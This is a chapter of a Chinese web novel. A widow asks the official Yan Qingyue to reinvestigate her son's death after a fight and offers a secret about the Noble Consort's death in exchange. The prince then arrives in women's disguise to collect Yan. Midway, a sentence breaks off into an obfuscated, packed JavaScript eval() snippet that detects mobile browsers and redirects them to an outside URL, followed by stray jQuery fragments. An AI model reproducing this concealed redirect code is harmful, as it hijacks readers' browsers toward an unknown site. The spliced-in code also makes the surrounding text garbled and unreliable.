80. 贵妃之死
作品:《女驸马探案录》 老妇人叫任文秀,夫君姓夏,是京城万年县人,家中是个普通的农户,育有两子。
出事的是她的长子,叫做夏大杨,平日里是个很老实孝顺的孩子。
然而,就在三日前,夏大杨和同坊的富户何明理起了冲突,二人打了一架。
打完架后倒是没什么异常,夏大杨自己走回来家,然而当晚,夏大杨就暴毙了。
任文秀两口子把这事儿上告到了县令处,县令却连抓人都不肯,非说此事与何明理无关。而何明理做事更绝,直接将夏大杨给埋了。
这便是任文秀所交代的一切。
“颜驸马……老身实在是没办法了,这才想着来找你。”任文秀捂着脸哭泣。
颜清越想了想,问道:“县令可有说不抓人的理由?”
“有,他说老身的儿子是回来后许久才死的,若他是被何明理打死,应该是当场死亡,怎么会隔了那么久才死呢。”任文秀放下手,一脸笃定,“颜驸马,老身的儿子身子壮实得很,像头牛似的,又没有什么隐疾,那日就和何明理打了一架。不是被他打死的能是因为什么?”
颜清越心下也有了决断。
很多时候,外伤导致内里出血不会立即致死,夏大杨很有可能就是这种情况。
“这样吧,你先回去。我马上责令县令重新审理此案,给你一个交代。”
任文秀却摇了摇头:“那县令肯定与何明理是一伙的,老身信不过。”
颜清越也有些为难。
万年县是京兆府管辖,她是可以插手,但除了特殊情况,这案子向来都是一级一级往上报的,这案子只是没有审清就结案了,并不是万年县所无法解决的。
最重要的是越诉是违律的,原告的人也会受到惩罚。
“本官自然会帮你盯着,不会让他们敷衍了事。”
任文秀沉默了片刻,忽然说道:“老身并非京城人。”
“嗯?”颜清越有些不明白她说这个做什么。
“老身是汉中人,年轻的时候就进了汉中王王府做奴婢。”
汉中王!
那不是先帝生前的封号吗?
她是原来先帝潜邸中的人?
任文秀继续说道:“老身会一点医术,当时极受郑侧妃的倚重。郑侧妃就是肃王殿下的母亲,如今的郑贵妃。”
颜清越盯着她平凡的脸。
“你说这些做甚?”
“老身有一个秘密,关于贵妃的死。”任文秀压低了声音,语气还是带着哀求,“只要颜驸马愿意为老身的儿子申冤,老身一定将此事告知您和肃王殿下。”
贵妃的死?
颜清越是有听说过的。
贵妃是死于难产,生下陆行后不过几日就离世了。
生育本就如同过鬼门关,难产死亡不算什么少见之事,可这妇人的话,却像是其中有什么隐情似的?
这让颜清越不得不重视。
虽然陆行平日里很少提到自己的母亲,但她感觉得到,对方对此事,是很在乎的。
生而克母,后又克妻……
在这样的定论下长大,他总觉得是自己害死了人。
“这种话,可不能乱说。”
任文秀正色道:“老身不过是个普通农妇,怎么敢欺瞒您呢?老身所求不过是冤案昭雪。”
“好,本官答应你。”
颜清越立即给万年县下了命令,让他们移交此案,至于缘由,也找得颇为恰当——例行检查。
刚过晌午,万年县的杨县尉就拿着案卷到了京兆府。
“下官见过颜驸马。”
“不必多礼,坐吧。”颜清越语气还算客气,“昨日出门偶然听到此案之事,所以才叫你来问问。”
天气热,还是赶路过来的,又一听见这话,杨县尉额头上的汗更多了,说话也结巴了起来。
“是……是吗……”
颜清越敲了敲桌子:“案卷。”
杨县尉的手有些发抖:“这案子……下官还没有办完,所以……”
“没办完就让人把尸体给埋了?”颜清越拍了一下桌子,力度不重不轻,“拿来。”
“是……”杨县尉战战兢兢把案卷放在桌子上。
案卷上还有些几个潮湿的手印。
颜清越一边翻看一边说道:“本官也只是看看,你不必紧张。只要没有酿成什么不好的后果,也不过是给你提个醒罢了。”
杨县尉这才松口气。
案情和任文秀所言没有太大的出入。
“验尸结果不清楚,就如此匆忙定案,不太妥当。”
杨县尉脸都皱成了一团。
“下官也不好做啊。下官做了十几年的县尉了,也懂些验尸的门道。您也知道,这验尸有些时候光验表面是不够的,还得剖开才能取证。若说这夏大杨是被打死的,就必须把人剖开看看是不是内里有出血才能判定何明理的罪行。可这夏大杨的父母又哭又闹,愣是不准剖。下官总不能就这样定案吧?”
“‘身体发肤,受之父母,不敢毁伤。’百姓抵触也是常态,本官明白你的难处,但是你也不能如此快就让人将尸体掩埋,这条路不行总还有其他路吧?夏大杨一个壮年汉子,总不可能无缘无故就死了?”
杨县尉也不敢顶嘴。
他确实存了些含混了事的心。
“是下官的错,请颜驸马责罚。”
颜清越和颜悦色:“也不完全怪你,至少你没有乱定罪这一点也算是做的不错。这案子就先由本官接手。”
“您要亲自查?”杨县尉很是惊讶。
这么个小案子就惊动到京兆府了吗!
“我手上刚好没事。”颜清越语气风轻云淡,像是随口说出一般,“你明日早上就在县衙等我,我们先去将尸体挖出。再卡你看看这案子还有没有什么线索。”
杨县尉不敢应下:“颜驸马……这……会不会太小题……杀鸡焉用牛刀?”
“任文秀脾性如何?”
杨县尉提到此人,脑仁都在疼。
“蛮横泼辣。”
“她已经在京兆府闹过了,案子再拖下去,你就不怕她去敲登闻鼓?”颜清越语重心长,“本官还不是为你着想。”
敲了登闻鼓可就上达天听了!
杨县尉只觉得浑身都冷了一下,立即应下。
“下官明白,下官这就去准备。”
颜清越满意点头:“好,明日卯时末,本官准时到。”
“是。”
到了散值的时候,颜清越才收拾好东西,背着已经喝空的竹筒一摇一晃走了出去。
刚出院门就碰见了紫云。
“嗯?你今日怎么急着跑进来了?”
紫云双颊绯红,脸上满是笑意
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15833387|165310||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“主子亲自来接您了!”
颜清越没想太多,向外走去。
“殿下亲自来了?”
紫云连连点头:“是呢是呢!”
颜清越顿住脚步,扭头看她:“我怎么觉得你今日十分……亢奋?”
紫云神秘一笑:“您出去就知道了。”
这是还有什么惊喜吗?
颜清越加快了脚步到了门口。
门外停着公主府最豪横的马车,四匹黑色的骏马并头在前,车厢以楠木制成,雕花嵌宝,引得路过的人频频回头。
他怎么坐着公主府的马车来?
下一刻,颜清越的疑问得到了解答。
马车的车里窗帘被撩开,陆行身着女装,带着帷帽。
颜清越向后退了一步,死死抓住了紫云的胳膊。
“紫云……”她的声音发着颤,“是不是我热傻了,眼花了?”
紫云憋笑:“不是……您快上去吧,公主,等着您呢。”
颜清越缓缓转过头,小声问道:“今日到底是要闹什么妖怪?你给我交个底儿。”
她的心到现在还在疯狂蹦哒呢!
陆行平日最讨厌扮成陆舒,更何况这还是人来人往的京兆府门口!
紫云摇头:“婢子哪里知道主子的心思。”
“夫君,还不快上来。”
陆行故意掐着的嗓音越来越像陆舒了。
旁边的人投来了艳羡的目光。
义阳公主是如何目空一切的人啊!竟然屈尊降贵亲自来接驸马回家。
长得好看真能当饭吃。
别管软饭不软饭,你就说这是不是饭!
颜清越勉强一笑:“好好好。”
她快速上了马车,小声道:“你今日怎么啦!”
太反常了。
陆行说道:“来给你解决麻烦。”
“麻烦?什么麻烦?”颜清越有些懵。
“哟,颜驸马,这是……”梁达观调侃的声音一变,“下官见过公主。”
颜清越很是尴尬,看向马车外:“呵呵,梁参军,散值了啊?”
梁达观点头。
“是啊,这……公主来接你啊?你们感情真不错啊,哈哈。”
陆行:“梁参军玩笑了。”
陆舒的恐怖程度比陆行本人还高上几分,梁达观陪笑:“那下官就不打扰了,不打扰了。”
“平日里多亏了梁参军照顾我家十六。”
“应该的应该的。”
“梁参军慢走。”
“下官告退!”梁达观如蒙大赦,行完礼脚底抹油跑了,心里还在感叹,没想到两口子关系是真的好。
他这辈子都没见过义阳公主这么温和地和谁说话!
当然,在他们眼中,是夫妻情深,在某人眼里这番景象就是伤口撒盐抹辣椒了。
这个某人自然是徐若谷。
马车的窗口中,一男一女相对而坐。
男子笑得含羞带怯,女子伸出手点了点对方的鼻子,给他喂下一块糕点。
何等甜蜜,又是何等……糟心!
陆行已经看见了徐若谷。
他停下手,语气陡然变冷。
“十六是我的人,以后谁让十六不舒服就是让我不舒服。”
他说完这才放下帘子。
“走吧,回府。”